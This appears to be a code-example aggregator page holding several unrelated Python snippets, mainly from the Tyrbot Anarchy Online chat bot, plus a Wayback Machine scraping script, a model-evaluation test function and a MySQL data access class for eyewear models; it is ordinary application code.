    def read_bytes(self, num_bytes):
        data = bytes()

        while num_bytes > 0:
            chunk = self.socket.recv(num_bytes)

            if len(chunk) == 0:
                raise EOFError

            num_bytes -= len(chunk)
            data = data + chunk

        return data

    def write_bytes(self, data):
        num_bytes = len(data)

        while num_bytes > 0:
            sent = self.socket.send(data)

            if sent == 0:
                raise EOFError

            data = data[sent:]
            num_bytes -= sent
class OrgMemberController:
    ORG_BUDDY_TYPE = "org_member"
    ORG_ACCESS_LEVEL = "org_member"

    MODE_AUTO = "auto"
    MODE_IGNORE = "ignore"
    MODE_MANUAL = "manual"

    ORG_MEMBER_LOGON_EVENT = "org_member_logon"
    ORG_MEMBER_LOGOFF_EVENT = "org_member_logoff"

    def __init__(self):
        self.logger = Logger(__name__)

    def inject(self, registry):
        self.db = registry.get_instance("db")
        self.buddy_service = registry.get_instance("buddy_service")
        self.public_channel_service = registry.get_instance(
            "public_channel_service")
        self.access_service = registry.get_instance("access_service")
        self.org_pork_service = registry.get_instance("org_pork_service")
        self.event_service = registry.get_instance("event_service")

    def pre_start(self):
        self.event_service.register_event_type(self.ORG_MEMBER_LOGON_EVENT)
        self.event_service.register_event_type(self.ORG_MEMBER_LOGOFF_EVENT)
        self.access_service.register_access_level(self.ORG_ACCESS_LEVEL, 60,
                                                  self.check_org_member)

    @event(event_type="connect",
           description="Add members as buddies of the bot on startup")
    def handle_connect_event(self, event_type, event_data):
        for row in self.get_all_org_members():
            self.buddy_service.add_buddy(row.char_id, self.ORG_BUDDY_TYPE)

    @event(event_type=BuddyService.BUDDY_LOGON_EVENT,
           description="Check if buddy is an org member")
    def handle_buddy_logon_event(self, event_type, event_data):
        if self.get_org_member(event_data.char_id):
            self.event_service.fire_event(self.ORG_MEMBER_LOGON_EVENT,
                                          event_data)

    @event(event_type=BuddyService.BUDDY_LOGOFF_EVENT,
           description="Check if buddy is an org member")
    def handle_buddy_logoff_event(self, event_type, event_data):
        if self.get_org_member(event_data.char_id):
            self.event_service.fire_event(self.ORG_MEMBER_LOGOFF_EVENT,
                                          event_data)

    @timerevent(budatime="24h", description="Download the org_members roster")
    def handle_connect_event(self, event_type, event_data):
        org_id = self.public_channel_service.get_org_id()
        if org_id:
            db_members = {}
            for row in self.get_all_org_members():
                db_members[row.char_id] = row.mode

            self.logger.info("Updating org_members roster for org_id %d" %
                             org_id)
            org_info = self.org_pork_service.get_org_info(org_id)
            if org_info:
                for char_id, roster_member in org_info.org_members.items():
                    db_member = db_members.get(char_id, None)

                    if not db_member:
                        self.add_org_member(char_id, self.MODE_AUTO)
                    elif db_member == self.MODE_AUTO:
                        # do nothing
                        del db_members[char_id]
                    elif db_member == self.MODE_MANUAL:
                        self.update_org_member(char_id, self.MODE_AUTO)
                        del db_members[char_id]
                    elif db_member == self.MODE_IGNORE:
                        # do nothing
                        del db_members[char_id]

                for char_id, mode in db_members.items():
                    if mode == self.MODE_AUTO:
                        self.remove_org_member(char_id)
                    elif mode == self.MODE_IGNORE:
                        self.remove_org_member(char_id)
                    elif mode == self.MODE_MANUAL:
                        # do nothing
                        pass

    def get_org_member(self, char_id):
        return self.db.query_single(
            "SELECT char_id FROM org_member WHERE char_id = ?", [char_id])

    def get_all_org_members(self):
        return self.db.query("SELECT char_id, mode FROM org_member")

    def add_org_member(self, char_id, mode):
        return self.db.exec(
            "INSERT INTO org_member (char_id, mode) VALUES (?, ?)",
            [char_id, mode])

    def remove_org_member(self, char_id):
        return self.db.exec("DELETE FROM org_member WHERE char_id = ?",
                            [char_id])

    def update_org_member(self, char_id, mode):
        return self.db.exec("UPDATE org_member SET mode = ? WHERE char_id = ?",
                            [mode, char_id])

    def check_org_member(self, char_id):
        return self.get_org_member(char_id) is not None
Esempio n. 38
0
class Tyrbot:
    CONNECT_EVENT = "connect"
    PACKET_EVENT = "packet"
    PRIVATE_MSG_EVENT = "private_msg"

    OUTGOING_ORG_MESSAGE_EVENT = "outgoing_org_message"
    OUTGOING_PRIVATE_MESSAGE_EVENT = "outgoing_private_message"
    OUTGOING_PRIVATE_CHANNEL_MESSAGE_EVENT = "outgoing_private_channel_message"

    def __init__(self):
        super().__init__()
        self.logger = Logger(__name__)
        self.ready = False
        self.packet_handlers = {}
        self.superadmin = None
        self.status: BotStatus = BotStatus.SHUTDOWN
        self.dimension = None
        self.last_timer_event = 0
        self.start_time = int(time.time())
        self.version = "0.5-beta"
        self.incoming_queue = FifoQueue()
        self.mass_message_queue = None
        self.conns = DictObject()

    def inject(self, registry):
        self.db = registry.get_instance("db")
        self.character_service: CharacterService = registry.get_instance("character_service")
        self.public_channel_service: PublicChannelService = registry.get_instance("public_channel_service")
        self.text: Text = registry.get_instance("text")
        self.setting_service: SettingService = registry.get_instance("setting_service")
        self.access_service: AccessService = registry.get_instance("access_service")
        self.event_service = registry.get_instance("event_service")
        self.job_scheduler = registry.get_instance("job_scheduler")

    def init(self, config, registry, paths, mmdb_parser):
        self.mmdb_parser = mmdb_parser
        self.superadmin = config.superadmin.capitalize()
        self.dimension = config.server.dimension

        self.db.exec("UPDATE db_version SET verified = 0")
        self.db.exec("UPDATE db_version SET verified = 1 WHERE file = 'db_version'")

        self.load_sql_files(paths)

        # prepare commands, events, and settings
        self.db.exec("UPDATE command_config SET verified = 0")
        self.db.exec("UPDATE event_config SET verified = 0")
        self.db.exec("UPDATE setting SET verified = 0")

        with self.db.transaction():
            registry.pre_start_all()
            registry.start_all()

        # remove commands, events, and settings that are no longer registered
        self.db.exec("DELETE FROM db_version WHERE verified = 0")
        self.db.exec("DELETE FROM command_config WHERE verified = 0")
        self.db.exec("DELETE FROM event_config WHERE verified = 0")
        self.db.exec("DELETE FROM timer_event WHERE handler NOT IN (SELECT handler FROM event_config WHERE event_type = ?)", ["timer"])
        self.db.exec("DELETE FROM setting WHERE verified = 0")

        self.status = BotStatus.RUN

    def pre_start(self):
        self.access_service.register_access_level("superadmin", 10, self.check_superadmin)
        self.event_service.register_event_type(self.CONNECT_EVENT)
        self.event_service.register_event_type(self.PACKET_EVENT)
        self.event_service.register_event_type(self.PRIVATE_MSG_EVENT)
        self.event_service.register_event_type(self.OUTGOING_ORG_MESSAGE_EVENT)
        self.event_service.register_event_type(self.OUTGOING_PRIVATE_MESSAGE_EVENT)
        self.event_service.register_event_type(self.OUTGOING_PRIVATE_CHANNEL_MESSAGE_EVENT)

    def start(self):
        self.setting_service.register_new("core.system", "symbol", "!", TextSettingType(["!", "#", "*", "@", "$", "+", "-"]), "Symbol for executing bot commands")

        self.setting_service.register_new("core.system", "org_channel_max_page_length", 7500,
                                          NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]),
                                          "Maximum size of blobs in org channel")
        self.setting_service.register_new("core.system", "private_message_max_page_length", 7500,
                                          NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]),
                                          "Maximum size of blobs in private messages")
        self.setting_service.register_new("core.system", "private_channel_max_page_length", 7500,
                                          NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]),
                                          "Maximum size of blobs in private channel")

        self.setting_service.register_new("core.system", "org_id", "", NumberSettingType(allow_empty=True), "Override the default org id",
                                          "This setting is is for development/debug purposes and should not be changed unless you understand the implications")
        self.setting_service.register_new("core.system", "org_name", "", TextSettingType(allow_empty=True), "The exact org name of the bot",
                                          "This setting is automatically set by the bot and should not be changed manually")

        self.setting_service.register_new("core.colors", "header_color", "#FFFF00", ColorSettingType(), "Color for headers")
        self.setting_service.register_new("core.colors", "header2_color", "#FCA712", ColorSettingType(), "Color for sub-headers")
        self.setting_service.register_new("core.colors", "highlight_color", "#00BFFF", ColorSettingType(), "Color for highlight")
        self.setting_service.register_new("core.colors", "notice_color", "#FF8C00", ColorSettingType(), "Color for important notices")

        self.setting_service.register_new("core.colors", "neutral_color", "#E6E1A6", ColorSettingType(), "Color for neutral faction")
        self.setting_service.register_new("core.colors", "omni_color", "#FA8484", ColorSettingType(), "Color for omni faction")
        self.setting_service.register_new("core.colors", "clan_color", "#F79410", ColorSettingType(), "Color for clan faction")
        self.setting_service.register_new("core.colors", "unknown_color", "#FF0000", ColorSettingType(), "Color for unknown faction")

        self.setting_service.register_new("core.colors", "org_channel_color", "#89D2E8", ColorSettingType(), "Default org channel color")
        self.setting_service.register_new("core.colors", "private_channel_color", "#89D2E8", ColorSettingType(), "Default private channel color")
        self.setting_service.register_new("core.colors", "private_message_color", "#89D2E8", ColorSettingType(), "Default private message color")
        self.setting_service.register_new("core.colors", "blob_color", "#FFFFFF", ColorSettingType(), "Default blob content color")

        self.register_packet_handler(server_packets.PrivateMessage.id, self.handle_private_message, priority=40)

    def check_superadmin(self, char_id):
        char_name = self.character_service.resolve_char_to_name(char_id)
        return char_name == self.superadmin

    def connect(self, config):
        conn = self.create_conn("main")
        conn.connect(config.server.host, config.server.port)
        packet = conn.login(config.username, config.password, config.character)
        if not packet:
            self.status = BotStatus.ERROR
            return False
        else:
            self.incoming_queue.put((conn, packet))

        self.mass_message_queue = FifoQueue()
        self.create_conn_thread(conn, self.mass_message_queue)

        if "slaves" in config:
            for i, slave in enumerate(config.slaves):
                conn = self.create_conn("slave" + str(i))
                conn.connect(config.server.host, config.server.port)

                packet = conn.login(slave.username, slave.password, slave.character)
                if not packet:
                    self.status = BotStatus.ERROR
                    return False
                else:
                    self.incoming_queue.put((conn, packet))

                self.create_conn_thread(conn, self.mass_message_queue)

        return True

    def create_conn_thread(self, conn: Conn, mass_message_queue=None):
        def read_packets():
            try:
                while self.status == BotStatus.RUN:
                    packet = conn.read_packet(1)
                    if packet:
                        self.incoming_queue.put((conn, packet))

                    while mass_message_queue and not mass_message_queue.empty() and conn.packet_queue.is_empty():
                        packet = mass_message_queue.get_or_default(block=False)
                        if packet:
                            conn.add_packet_to_queue(packet)

            except (EOFError, OSError) as e:
                self.status = BotStatus.ERROR
                self.logger.error("", e)
                raise e

        dthread = threading.Thread(target=read_packets, daemon=True)
        dthread.start()

    def create_conn(self, _id):
        if _id in self.conns:
            raise Exception(f"A connection with id {_id} already exists")

        conn = Conn(_id, self.disconnect)
        self.conns[_id] = conn
        return conn

    # passthrough
    def send_packet(self, packet):
        self.conns["main"].send_packet(packet)

    def disconnect(self):
        # wait for all threads to stop reading packets, then disconnect them all
        time.sleep(2)
        for _id, conn in self.conns.items():
            conn.disconnect()

    def run(self):
        start = time.time()

        # wait for flood of packets from login to stop sending
        time_waited = 0
        while time_waited < 5:
            if not self.iterate(1):
                time_waited += 1

        self.logger.info("Login complete (%fs)" % (time.time() - start))

        start = time.time()
        self.event_service.fire_event("connect", None)
        self.event_service.run_timer_events_at_startup()
        self.logger.info("Connect events finished (%fs)" % (time.time() - start))

        self.ready = True
        timestamp = int(time.time())

        while self.status == BotStatus.RUN:
            try:
                timestamp = int(time.time())
                self.check_for_timer_events(timestamp)

                self.iterate()
            except (EOFError, OSError) as e:
                raise e
            except Exception as e:
                self.logger.error("", e)

        # run any pending jobs/events
        self.check_for_timer_events(timestamp + 1)

        return self.status

    def check_for_timer_events(self, timestamp):
        # timer events will execute no more often than once per second
        if self.last_timer_event < timestamp:
            self.last_timer_event = timestamp
            self.job_scheduler.check_for_scheduled_jobs(timestamp)
            self.event_service.check_for_timer_events(timestamp)

    def register_packet_handler(self, packet_id: int, handler, priority=50):
        """
        Call during pre_start

        Args:
            packet_id: int
            handler: (conn, packet) -> void
            priority: int
        """

        if len(inspect.signature(handler).parameters) != 2:
            raise Exception("Incorrect number of arguments for handler '%s.%s()'" % (handler.__module__, handler.__name__))

        handlers = self.packet_handlers.get(packet_id, [])
        handlers.append(DictObject({"priority": priority, "handler": handler}))
        self.packet_handlers[packet_id] = sorted(handlers, key=lambda x: x.priority)

    def remove_packet_handler(self, packet_id, handler):
        handlers = self.packet_handlers.get(packet_id, [])
        for h in handlers:
            if h.handler == handler:
                handlers.remove(h)

    def iterate(self, timeout=0.1):
        conn, packet = self.incoming_queue.get_or_default(block=True, timeout=timeout, default=(None, None))
        if packet:
            if isinstance(packet, server_packets.SystemMessage):
                packet = self.system_message_ext_msg_handling(packet)
            elif isinstance(packet, server_packets.PublicChannelMessage):
                packet = self.public_channel_message_ext_msg_handling(packet)
            if isinstance(packet, server_packets.BuddyAdded):
                if packet.char_id == 0:
                    return

            for handler in self.packet_handlers.get(packet.id, []):
                handler.handler(conn, packet)

            self.event_service.fire_event("packet:" + str(packet.id), packet)

        return packet

    def public_channel_message_ext_msg_handling(self, packet: server_packets.PublicChannelMessage):
        msg = packet.message
        if msg.startswith("~&") and msg.endswith("~"):
            try:
                msg = msg[2:-1].encode("utf-8")
                category_id = self.mmdb_parser.read_base_85(msg[0:5])
                instance_id = self.mmdb_parser.read_base_85(msg[5: 10])
                template = self.mmdb_parser.get_message_string(category_id, instance_id)
                params = self.mmdb_parser.parse_params(msg[10:])
                packet.extended_message = ExtendedMessage(category_id, instance_id, template, params)
            except Exception as e:
                self.logger.error("Error handling extended message for packet: " + str(packet), e)

        return packet

    def system_message_ext_msg_handling(self, packet: server_packets.SystemMessage):
        try:
            category_id = 20000
            instance_id = packet.message_id
            template = self.mmdb_parser.get_message_string(category_id, instance_id)
            params = self.mmdb_parser.parse_params(packet.message_args)
            packet.extended_message = ExtendedMessage(category_id, instance_id, template, params)
            self.logger.log_chat("SystemMessage", None, packet.extended_message.get_message())
        except Exception as e:
            self.logger.error("Error handling extended message: " + str(packet), e)

        return packet

    def send_org_message(self, msg, add_color=True, fire_outgoing_event=True, conn_id="main"):
        org_channel_id = self.public_channel_service.org_channel_id
        if org_channel_id is None:
            self.logger.debug("ignoring message to org channel since the org_channel_id is unknown")
        else:
            color = self.setting_service.get("org_channel_color").get_font_color() if add_color else ""
            pages = self.get_text_pages(msg, self.setting_service.get("org_channel_max_page_length").get_value())
            for page in pages:
                packet = client_packets.PublicChannelMessage(org_channel_id, color + page, "")
                self.conns[conn_id].add_packet_to_queue(packet)

            if fire_outgoing_event:
                self.event_service.fire_event(self.OUTGOING_ORG_MESSAGE_EVENT, DictObject({"org_channel_id": org_channel_id,
                                                                                           "message": msg}))

    def send_private_message(self, char, msg, add_color=True, fire_outgoing_event=True, conn_id="main"):
        char_id = self.character_service.resolve_char_to_id(char)
        if char_id is None:
            self.logger.warning("Could not send message to %s, could not find char id" % char)
        else:
            color = self.setting_service.get("private_message_color").get_font_color() if add_color else ""
            pages = self.get_text_pages(msg, self.setting_service.get("private_message_max_page_length").get_value())
            for page in pages:
                self.logger.log_tell("To", self.character_service.get_char_name(char_id), page)
                packet = client_packets.PrivateMessage(char_id, color + page, "\0")
                self.conns[conn_id].add_packet_to_queue(packet)

            if fire_outgoing_event:
                self.event_service.fire_event(self.OUTGOING_PRIVATE_MESSAGE_EVENT, DictObject({"char_id": char_id,
                                                                                               "message": msg}))

    def send_private_channel_message(self, msg, private_channel=None, add_color=True, fire_outgoing_event=True, conn_id="main"):
        if private_channel is None:
            private_channel_id = self.get_char_id()
        else:
            private_channel_id = self.character_service.resolve_char_to_id(private_channel)

        if private_channel_id is None:
            self.logger.warning("Could not send message to private channel %s, could not find private channel" % private_channel)
        else:
            color = self.setting_service.get("private_channel_color").get_font_color() if add_color else ""
            pages = self.get_text_pages(msg, self.setting_service.get("private_channel_max_page_length").get_value())
            for page in pages:
                packet = client_packets.PrivateChannelMessage(private_channel_id, color + page, "\0")
                self.conns[conn_id].send_packet(packet)

            if fire_outgoing_event and private_channel_id == self.get_char_id():
                self.event_service.fire_event(self.OUTGOING_PRIVATE_CHANNEL_MESSAGE_EVENT, DictObject({"private_channel_id": private_channel_id,
                                                                                                       "message": msg}))

    def send_mass_message(self, char_id, msg, add_color=True):
        if not char_id:
            self.logger.warning("Could not send message to empty char_id")
        else:
            color = self.setting_service.get("private_message_color").get_font_color() if add_color else ""
            pages = self.get_text_pages(msg, self.setting_service.get("private_message_max_page_length").get_value())
            for page in pages:
                # self.logger.log_tell("To", self.character_service.get_char_name(char_id), page)
                if self.mass_message_queue:
                    packet = client_packets.PrivateMessage(char_id, color + page, "\0")
                    self.mass_message_queue.put(packet)
                else:
                    packet = client_packets.PrivateMessage(char_id, color + page, "spam")
                    self.conns["main"].send_packet(packet)

    def handle_private_message(self, conn: Conn, packet: server_packets.PrivateMessage):
        if conn.id != "main":
            return

        self.logger.log_tell("From", self.character_service.get_char_name(packet.char_id), packet.message)
        self.event_service.fire_event(self.PRIVATE_MSG_EVENT, packet)

    def get_text_pages(self, msg, max_page_length):
        if isinstance(msg, ChatBlob):
            return self.text.paginate(msg, max_page_length=max_page_length)
        else:
            return [self.text.format_message(msg)]

    def is_ready(self):
        return self.ready

    def shutdown(self):
        self.status = BotStatus.SHUTDOWN

    def restart(self):
        self.status = BotStatus.RESTART

    def load_sql_files(self, paths):
        dirs = flatmap(lambda x: os.walk(x), paths)
        dirs = filter(lambda y: not y[0].endswith("__pycache__"), dirs)

        def get_files(tup):
            return map(lambda x: os.path.join(tup[0], x), tup[2])

        # get files from subdirectories
        files = flatmap(get_files, dirs)
        files = filter(lambda z: z.endswith(".sql"), files)

        base_path = os.getcwd()
        for file in files:
            self.db.load_sql_file(file, base_path)

    def get_char_name(self):
        return self.conns["main"].char_name

    def get_char_id(self):
        return self.conns["main"].char_id
Esempio n. 39
0
import json
from core.archivedotcom import ArchiveDotOrg
import os
import errno

URL = 'http://web.archive.org/web/*/http://o-review.com/images//*'

URL2 = 'http://web.archive.org/cdx/search?url=http%3A%2F%2Fo-review.com%2Fimages%2F%2F&matchType=prefix&collapse=urlkey&output=json&fl=original%2Cmimetype%2Ctimestamp%2Cendtimestamp%2Cgroupcount%2Cuniqcount&filter=!statuscode%3A%5B45%5D..&_=1497711743092'
settings.LOGGING_FILENAME = 'wayback_images'

logger = Logger('data_loader').get()

try:
    response = urllib2.urlopen(URL2)
except urllib2.HTTPError, e:
    logger.info("Failed to open URL [{}]: [{}]".format(URL2, e))
    # return None

html_doc = response.read()

# print html_doc

json_data = json.loads(html_doc)
print len(json_data)
print(json_data[0])

# d = json_data[15000]

# print json_data[1]
wayback = ArchiveDotOrg()
#
Esempio n. 40
0
args = parser.parse_args()

loader_mode = Mode[args.mode]
process_family = ''
settings.LOGGING_FILENAME = 'data_loader'
reverse = args.reverse

if args.family is not None:
    process_family = args.family

if args.logfile is not None:
    settings.LOGGING_FILENAME = args.logfile.replace('.log', '')

logger = Logger('data_loader').get()

logger.info('Starting data_loader...')
logger.info('Running with the following args: [{}]'.format(args))
logger.info('===============================')

logger.info('Setting up connection pool...')
cnx_pool = ConnectionPool(settings.db_config)

logger.info('Creating data loader with data loader name [{}]'.format(
    loaderfactory.OREVIEWV1_LOADER))
data_loader = loaderfactory.get_loader(loaderfactory.OREVIEWV1_LOADER)

process = True

if loader_mode == Mode.lenstypes:
    logger.info('Processing Lens types')
    logger.info('Creating data access layer...')
Esempio n. 41
0
def test(config_filename):
    # configuration
    config = Config()
    config_file = "{}/{}".format(config.config_dir, config_filename)
    config.update_config(config_file)

    # logger
    log_file = "{}/test_{}.txt".format(config.log_dir, config.config_name)
    logger = Logger(log_file)

    # word embedding
    logger.info("setting word embedding...")
    word_embedding = Embedding()

    word_embedding_file = "{}/word_embedding_{}.pkl".format(
        config.cache_dir, config.config_name)
    logger.info(
        "loading word embedding from {}...".format(word_embedding_file))
    word_embedding.load_word_embedding(word_embedding_file)

    logger.info("vocab_size: {}".format(word_embedding.vocab_size))
    logger.info("word_dim  : {}".format(word_embedding.word_dim))

    # testing dataset
    logger.info("setting testing dataset...")
    test_dataset = Dataset(config.data_config)

    test_dataset.set_word_to_index(word_embedding.word2index)

    label_mapping_file = "{}/label_mapping_{}.pkl".format(
        config.cache_dir, config.config_name)
    logger.info("loading label mapping from {}...".format(label_mapping_file))
    test_dataset.load_label_mapping(label_mapping_file)

    test_data_file = "{}/{}".format(config.data_dir, config.test_data_file)
    logger.info("loading data from {}...".format(test_data_file))
    test_dataset.load_data_from_file(test_data_file)
    logger.info("number of samples: {}".format(test_dataset.num_samples))

    logger.info("processing data...")
    test_dataset.process_data_from_file()

    # model
    new_model_config = {
        "vocab_size": word_embedding.vocab_size,
        "word_dim": word_embedding.word_dim,
        "document_length": test_dataset.document_length,
        "sentence_length": test_dataset.sentence_length,
        "num_labels": test_dataset.num_labels
    }
    config.update_model_config(new_model_config)

    model = Model(config.model_config)

    # metric
    metric = Metric()

    # test configuration
    logger.info("configuration: {}".format(config))

    # data loader
    test_data_loader = DataLoader(test_dataset,
                                  batch_size=config.batch_size,
                                  shuffle=False)

    # model factory
    network = Factory(model)
    network.set_test_module()
    logger.info("number of GPUs: {}".format(network.num_gpus))
    logger.info("device: {}".format(network.device))

    # load model
    model_file = "{}/model_{}.pkl".format(config.cache_dir, config.config_name)
    logger.info("loading model from {}...".format(model_file))
    network.load_model(model_file)

    network.model_to_device()

    # test
    network.eval_mode()
    test_preds = np.zeros([0, test_dataset.num_labels], dtype=np.int)
    test_labels = np.zeros([0, test_dataset.num_labels], dtype=np.int)
    for batch, data in enumerate(test_data_loader):
        sequences_ttl, sequences_cnt, labels = data
        preds = network.test(sequences_ttl, sequences_cnt)
        test_preds = np.concatenate((test_preds, preds), axis=0)
        test_labels = np.concatenate(
            (test_labels, labels.numpy().astype(np.int)), axis=0)

    # metrics
    ac, mp, mr, mf = metric.all_metrics(test_preds, test_labels)
    logger.info("Acc: {:.4f}".format(ac))
    logger.info("MP : {:.4f}".format(mp))
    logger.info("MR : {:.4f}".format(mr))
    logger.info("MF : {:.4f}".format(mf))
Esempio n. 42
0
from core import config_creator
from core.dict_object import DictObject
from core.logger import Logger
from core.aochat.mmdb_parser import MMDBParser
import hjson
import time
import os

try:
    # load logging configuration
    import conf.logging

    Registry.logger = Logger("core.registry")

    logger = Logger("core.bootstrap")
    logger.info("Starting Tyrbot...")
    config_file = "./conf/config.hjson"

    # start config wizard if config file does not exist
    if not os.path.exists(config_file):
        config_creator.create_new_cfg(config_file,
                                      "./conf/config.template.hjson")

    # load config
    logger.debug("Reading config file '%s'" % config_file)
    with open(config_file, "r") as cfg:
        config = DictObject(hjson.load(cfg))

    # paths to search for instances: core + module_paths
    paths = ["core"]
    paths.extend(config.module_paths)
Esempio n. 43
0
class ModelDal(object):
    def __init__(self, connection_pool):
        self.logger = Logger(self.__class__.__name__).get()
        self.connection_pool = connection_pool

    def model_exists(self, model):
        ret_model = self.get_model(model['style'], model['name'], model['sku'])

        exists = False
        if ret_model is not None and 'name' in ret_model and model[
                'name'] == ret_model['name']:
            exists = True

        return exists

    def get_model(self, style_name, model_name, sku):
        query = (
            "SELECT m.id, m.name, m.sku, m.listprice, m.url FROM model m JOIN style s on m.styleid = s.id "
            "WHERE s.name = %s "
            "AND m.name = %s "
            "AND m.sku = %s "
            "AND m.validfrom < %s "
            "AND ((m.validto = 0) OR (m.validto >= %s))")

        now = time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime())

        cnx = self.connection_pool.get_connection()
        cursor = cnx.cursor()

        data = (style_name, model_name, sku, now, now)

        self.logger.debug("Getting model with query [%s] and data [%s]", query,
                          data)

        cursor.execute(query, data)

        model = None
        for (m_id, m_name, m_sku, m_listprice, m_url) in cursor:
            if m_name == model_name and sku == m_sku:
                model = {
                    'id': m_id,
                    'name': m_name,
                    'sku': m_sku,
                    'listprice': m_listprice,
                    'url': m_url
                }

        cursor.close()
        self.connection_pool.release_connection(cnx)

        return model

    def get_model_id(self, style_id, model_name, sku):
        query = ("SELECT id, name, sku FROM model "
                 "WHERE name = %s "
                 "AND styleid = %s "
                 "AND sku = %s "
                 "AND validfrom < %s "
                 "AND ((validto = 0) OR (validto >= %s))")

        now = time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime())

        cnx = self.connection_pool.get_connection()
        cursor = cnx.cursor()

        data = (model_name, style_id, sku, now, now)

        self.logger.debug("Getting model id with query [%s] and data [%s]",
                          query, data)

        cursor.execute(query, data)

        model_id = -1
        for (m_id, m_name, m_sku) in cursor:
            if m_name == model_name and sku == m_sku:
                model_id = m_id

        cursor.close()
        self.connection_pool.release_connection(cnx)

        return model_id

    def get_last_model_id(self):
        model_query = ("SELECT MAX(id) FROM model")

        cnx = self.connection_pool.get_connection()
        cursor = cnx.cursor()

        cursor.execute(model_query)

        ret_id = -1
        for c_id in cursor:
            if c_id is not None and c_id[0] is not None:
                ret_id = int(c_id[0])

        cursor.close()
        self.connection_pool.release_connection(cnx)

        return ret_id

    def get_fit_id(self, fit):
        query = "SELECT id, name FROM fit WHERE name = %s"

        cnx = self.connection_pool.get_connection()
        cursor = cnx.cursor()

        data = (fit, )
        cursor.execute(query, data)

        ret_id = -1
        for c_id, c_name in cursor:
            if c_name == fit:
                ret_id = c_id

        cursor.close()
        self.connection_pool.release_connection(cnx)

        return ret_id

    #style_id, model_name, model_sku, model_framecolour, model_lens, fit_id, model_listprice, model_url
    def insert_model(self, model, style_id, lens_id, fit_id, source_id):

        query = (
            "INSERT INTO model "
            "(name, styleid, sku, listprice, url, framecolour, lensid, fitid, sourceid, validfrom) "
            "VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)")

        now = time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime())

        cnx = self.connection_pool.get_connection()
        cursor = cnx.cursor()

        data = (model['name'], style_id, model['sku'], model['listprice'],
                model['url'], model['frame'], lens_id, fit_id, source_id, now)

        self.logger.debug("Inserting model with query [%s] and data [%s]",
                          query, data)

        cursor.execute(query, data)

        cnx.commit()

        model_id = int(cursor.lastrowid)

        cursor.close()
        self.connection_pool.release_connection(cnx)

        # model_id = self.get_model_id(style_id, model['name'], model['sku'])
        return model_id

    def update_model(self, model, style_id, source_id):

        query = "UPDATE model SET "
        data = []

        continu = False
        if 'releasedate' in model and model['releasedate'] is not None:
            query += "releasedate=%s, "
            data.append(model['releasedate'])
            continu = True

        if 'retiredate' in model and model['retiredate'] is not None:
            query += "retiredate=%s, "
            data.append(model['retiredate'])
            continu = True

        if 'image' in model and model['image'] is not None:
            query += "image=%s, "
            data.append(model['image'])
            continu = True

        if 'imagesmall' in model and model['imagesmall'] is not None:
            query += "imagesmall=%s, "
            data.append(model['imagesmall'])
            continu = True

        if 'note' in model and model['note'] is not None:
            query += "note=%s, "
            data.append(model['note'])
            continu = True

        if 'signature' in model and model['signature'] is not None:
            query += "signature=%s, "
            data.append(model['signature'])
            continu = True

        if 'exclusive' in model and model['exclusive'] is not None:
            query += "exclusive=%s, "
            data.append(model['exclusive'])
            continu = True

        if 'upc' in model and model['upc'] is not None:
            query += "upc=%s "
            data.append(model['upc'])
            continu = True

        # no count? just return
        if not continu:
            return

        query = query.rstrip(' ,')

        # TODO: deal with valid froms etc
        query += " WHERE name=%s AND sku=%s AND styleid=%s"
        data.append(model['name'])
        data.append(model['sku'])
        data.append(style_id)

        cnx = self.connection_pool.get_connection()
        cursor = cnx.cursor()

        self.logger.info("Updating model with query [%s] and data [%s]", query,
                         data)

        cursor.execute(query, data)

        cnx.commit()

        cursor.close()
        self.connection_pool.release_connection(cnx)

        return
Esempio n. 44
0
class CommandService:
    PRIVATE_CHANNEL = "priv"
    ORG_CHANNEL = "org"
    PRIVATE_MESSAGE = "msg"

    def __init__(self):
        self.handlers = collections.defaultdict(list)
        self.logger = Logger(__name__)
        self.channels = {}
        self.ignore_regexes = [
            re.compile(" is AFK \(Away from keyboard\) since ", re.IGNORECASE),
            re.compile("I am away from my keyboard right now", re.IGNORECASE),
            re.compile("Unknown command or access denied!", re.IGNORECASE),
            re.compile("I am responding", re.IGNORECASE),
            re.compile("I only listen", re.IGNORECASE),
            re.compile("Error!", re.IGNORECASE),
            re.compile("Unknown command input", re.IGNORECASE),
            re.compile("You have been auto invited", re.IGNORECASE),
        ]

    def inject(self, registry):
        self.db = registry.get_instance("db")
        self.util = registry.get_instance("util")
        self.access_service: AccessService = registry.get_instance(
            "access_service")
        self.bot: Tyrbot = registry.get_instance("bot")
        self.character_service: CharacterService = registry.get_instance(
            "character_service")
        self.setting_service: SettingService = registry.get_instance(
            "setting_service")
        self.command_alias_service = registry.get_instance(
            "command_alias_service")
        self.usage_service = registry.get_instance("usage_service")
        self.public_channel_service = registry.get_instance(
            "public_channel_service")
        self.ban_service = registry.get_instance("ban_service")

    def pre_start(self):
        self.bot.add_packet_handler(server_packets.PrivateMessage.id,
                                    self.handle_private_message)
        self.bot.add_packet_handler(server_packets.PrivateChannelMessage.id,
                                    self.handle_private_channel_message)
        self.bot.add_packet_handler(server_packets.PublicChannelMessage.id,
                                    self.handle_public_channel_message)
        self.register_command_channel("Private Message", self.PRIVATE_MESSAGE)
        self.register_command_channel("Org Channel", self.ORG_CHANNEL)
        self.register_command_channel("Private Channel", self.PRIVATE_CHANNEL)

    def start(self):
        # process decorators
        for _, inst in Registry.get_all_instances().items():
            for name, method in get_attrs(inst).items():
                if hasattr(method, "command"):
                    cmd_name, params, access_level, description, help_file, sub_command, extended_description, check_access, aliases = getattr(
                        method, "command")
                    handler = getattr(inst, name)
                    module = self.util.get_module_name(handler)
                    help_text = self.get_help_file(module, help_file)
                    self.register(handler, cmd_name, params, access_level,
                                  description, module, help_text, sub_command,
                                  extended_description, check_access)
                    if len(inspect.signature(
                            handler).parameters) != len(params) + 1:
                        raise Exception(
                            "Incorrect number of arguments for handler '%s.%s()'"
                            % (handler.__module__, handler.__name__))

                    if aliases:
                        for alias in aliases:
                            self.command_alias_service.add_alias(
                                alias, cmd_name)

    def register(self,
                 handler,
                 command,
                 params,
                 access_level,
                 description,
                 module,
                 help_text=None,
                 sub_command=None,
                 extended_description=None,
                 check_access=None):
        command = command.lower()
        if sub_command:
            sub_command = sub_command.lower()
        else:
            sub_command = ""
        access_level = access_level.lower()
        module = module.lower()
        command_key = self.get_command_key(command, sub_command)

        if help_text is None:
